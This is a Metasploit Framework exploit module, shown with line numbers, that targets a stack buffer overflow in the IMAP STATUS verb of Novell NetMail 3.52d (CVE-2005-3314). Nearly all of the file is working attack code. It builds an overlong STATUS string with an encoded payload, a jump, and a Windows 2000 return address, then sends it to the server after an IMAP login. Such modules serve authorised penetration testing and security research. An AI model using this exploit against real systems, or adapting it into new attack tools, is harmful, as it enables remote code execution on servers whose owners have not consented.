root / modules / exploits / windows / imap / novell_netmail_status.rb @ master
History | View | Annotate | Download (1.8 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/
|
| 10 |
##
|
| 11 |
|
| 12 |
require 'msf/core'
|
| 13 |
|
| 14 |
class Metasploit3 < Msf::Exploit::Remote |
| 15 |
Rank = AverageRanking |
| 16 |
|
| 17 |
include Msf::Exploit::Remote::Imap |
| 18 |
|
| 19 |
def initialize(info = {}) |
| 20 |
super(update_info(info,
|
| 21 |
'Name' => 'Novell NetMail <= 3.52d IMAP STATUS Buffer Overflow', |
| 22 |
'Description' => %q{ |
| 23 |
This module exploits a stack buffer overflow in Novell's Netmail 3.52 IMAP STATUS |
| 24 |
verb. By sending an overly long string, an attacker can overwrite the |
| 25 |
buffer and control program execution. |
| 26 |
},
|
| 27 |
'Author' => [ 'MC' ], |
| 28 |
'License' => MSF_LICENSE, |
| 29 |
'Version' => '$Revision$', |
| 30 |
'References' =>
|
| 31 |
[ |
| 32 |
[ 'CVE', '2005-3314' ], |
| 33 |
[ 'OSVDB', '20956' ], |
| 34 |
[ 'BID', '15491' ], |
| 35 |
], |
| 36 |
'Privileged' => true, |
| 37 |
'DefaultOptions' =>
|
| 38 |
{
|
| 39 |
'EXITFUNC' => 'thread', |
| 40 |
}, |
| 41 |
'Payload' =>
|
| 42 |
{
|
| 43 |
'Space' => 500, |
| 44 |
'BadChars' => "\x00\x0a\x0d\x20", |
| 45 |
'StackAdjustment' => -3500, |
| 46 |
}, |
| 47 |
'Platform' => 'win', |
| 48 |
'Targets' =>
|
| 49 |
[ |
| 50 |
['Windows 2000 SP0-SP4 English', { 'Ret' => 0x75022ac4 }], |
| 51 |
], |
| 52 |
'DefaultTarget' => 0, |
| 53 |
'DisclosureDate' => 'Nov 18 2005')) |
| 54 |
|
| 55 |
end
|
| 56 |
|
| 57 |
def exploit |
| 58 |
sploit = "a002 STATUS " + rand_text_english(1602) + payload.encoded |
| 59 |
sploit << "\xeb\x06" + rand_text_english(2) + [target.ret].pack('V') |
| 60 |
sploit << [0xe8, -485].pack('CV') + rand_text_english(150) + " inbox" |
| 61 |
|
| 62 |
info = connect_login |
| 63 |
|
| 64 |
if (info == true) |
| 65 |
print_status("Trying target #{target.name}...")
|
| 66 |
sock.put(sploit + "\r\n")
|
| 67 |
else
|
| 68 |
print_status("Not falling through with exploit")
|
| 69 |
end
|
| 70 |
|
| 71 |
handler |
| 72 |
disconnect |
| 73 |
end
|
| 74 |
end
|